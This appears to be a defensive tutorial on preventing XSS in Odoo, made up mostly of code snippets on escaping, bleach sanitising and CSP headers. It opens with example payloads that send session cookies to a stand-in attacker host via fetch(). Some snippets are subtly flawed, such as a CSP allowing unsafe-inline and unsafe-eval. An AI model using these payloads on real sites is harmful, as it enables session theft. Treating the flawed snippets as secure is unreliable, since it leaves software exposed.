Protecting Your Odoo Instance Against XSS Attacks

<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">

<!-- Customer adds comment to order -->
<img src=x onerror="
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      sessionId: document.cookie,
      userData: getUserData()
    })
  })
">

<!-- When anyone views comment, JavaScript executes:
     - Steals session cookie
     - Sends to attacker
     - Attacker logs in as that user
     - Full account compromise
-->

Dangerous: <img src=x onerror="alert('xss')">
Escaped:   &lt;img src=x onerror="alert('xss')"&gt;

When displayed:
User sees: <img src=x onerror="alert('xss')">
(as text, not HTML)

No JavaScript execution!

<!-- Odoo automatically escapes by default -->
<t t-esc="comment.body"/>

<!-- Input: <img src=x onerror="alert('xss')"> -->
<!-- Output: &lt;img src=x onerror="alert('xss')"&gt; -->
<!-- Result: SAFE (displays as text) -->

<t t-raw="comment.body"/>
<!-- ⚠️ DANGEROUS - No escaping, raw HTML output -->
<!-- Never use t-raw on user input! -->

from markupsafe import escape, Markup

# Escape user input (SAFE)
user_input = '<img src=x onerror="alert(1)">'
safe = escape(user_input)
# Result: &lt;img src=x onerror="alert(1)"&gt;

# Raw HTML (DANGEROUS - only for trusted content)
trusted_html = '<h1>Welcome</h1>'
unsafe = Markup(trusted_html)  # Marks as safe, no escaping

@route('/comment', type='http', auth='user')
def add_comment(self, **kwargs):
    comment_text = request.params.get('comment')
    
    # Store as-is
    self.env['order.comment'].create({
        'order_id': order_id,
        'text': comment_text,  # Store raw text
    })
    
    # When displaying, Odoo automatically escapes
    # In template: <t t-esc="comment.text"/>

server {
    listen 443 ssl;
    server_name odoo.example.com;
    
    # Content Security Policy Header
    add_header Content-Security-Policy "
        default-src 'self';
        script-src 'self' 'unsafe-inline' 'unsafe-eval';
        style-src 'self' 'unsafe-inline';
        img-src 'self' data: https:;
        font-src 'self';
        connect-src 'self';
        frame-src 'self';
    " always;
    
    # Other security headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-XSS-Protection "1; mode=block" always;
}

# Strict CSP - no inline scripts allowed
Content-Security-Policy: default-src 'self'; script-src 'self'

<record id="view_order_form" model="ir.ui.view">
    <field name="arch" type="xml">
        <form>
            <!-- User comment (escaped automatically) -->
            <field name="customer_comment"/>
            
            <!-- Display comment (SAFE - t-esc escapes) -->
            <div t-if="order.comments">
                <h3>Comments:</h3>
                <t t-foreach="order.comments" t-as="comment">
                    <div class="comment">
                        <strong t-esc="comment.author_id.name"/>:
                        <p t-esc="comment.text"/>
                    </div>
                </t>
            </div>
        </form>
    </field>
</record>

from markupsafe import Markup
import bleach

ALLOWED_TAGS = ['b', 'i', 'u', 'strong', 'em', 'p', 'br', 'a']
ALLOWED_ATTRIBUTES = {'a': ['href', 'title']}

def sanitize_html(user_html):
    """Allow safe HTML, strip dangerous tags."""
    # Remove all dangerous HTML
    clean = bleach.clean(user_html,
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRIBUTES,
        strip=True  # Remove dangerous tags entirely
    )
    return clean

# Usage
class OrderComment(models.Model):
    _name = 'order.comment'
    
    text = fields.Html(string='Comment')
    
    @api.constrains('text')
    def _sanitize_text(self):
        """Sanitize HTML before saving."""
        for record in self:
            record.text = sanitize_html(record.text)

<record id="email_order_confirmation" model="mail.template">
    <field name="body_html" type="html">
        <div>
            <p>Hi <t t-esc="customer_name"/>,</p>
            <p>Your order <t t-esc="order.name"/> has been confirmed.</p>
            <!-- Use t-esc, NOT t-raw! -->
        </div>
    </field>
</record>

class ProductReview(models.Model):
    _name = 'product.review'
    
    review_text = fields.Html(string='Review')  # Stores HTML
    
    # ❌ DANGEROUS - Using t-raw without sanitization
    # Template displays: <t t-raw="review.review_text"/>
    # If review contains <script>, it executes!

from markupsafe import Markup
import bleach

class ProductReview(models.Model):
    _name = 'product.review'
    
    review_text = fields.Text(string='Review')  # Store plain text
    rating = fields.Integer(string='Rating')
    
    @api.constrains('review_text')
    def _validate_review(self):
        """Ensure review is safe."""
        for review in self:
            if '<script' in review.review_text.lower():
                raise ValidationError("Scripts not allowed in reviews")
            if 'javascript:' in review.review_text.lower():
                raise ValidationError("JavaScript URIs not allowed")
    
    @api.model
    def create(self, vals):
        """Sanitize review on create."""
        if 'review_text' in vals:
            # Store safely (automatically escaped on display)
            vals['review_text'] = self._sanitize(vals['review_text'])
        return super().create(vals)
    
    def _sanitize(self, text):
        """Remove dangerous content."""
        ALLOWED_TAGS = ['b', 'i', 'strong', 'em', 'p', 'br']
        return bleach.clean(text, tags=ALLOWED_TAGS, strip=True)

# In form view
<record id="view_review_form" model="ir.ui.view">
    <field name="arch" type="xml">
        <form>
            <field name="review_text"/>
            <field name="rating"/>
        </form>
    </field>
</record>

# In display view (SAFE - escapes automatically)
<record id="view_review_display" model="ir.ui.view">
    <field name="arch" type="xml">
        <div>
            <t t-foreach="reviews" t-as="review">
                <div class="review">
                    <strong t-esc="review.author_id.name"/>
                    (<span t-esc="review.rating"/> stars)
                    <p t-esc="review.review_text"/>  <!-- Escaped! -->
                </div>
            </t>
        </div>
    </field>
</record>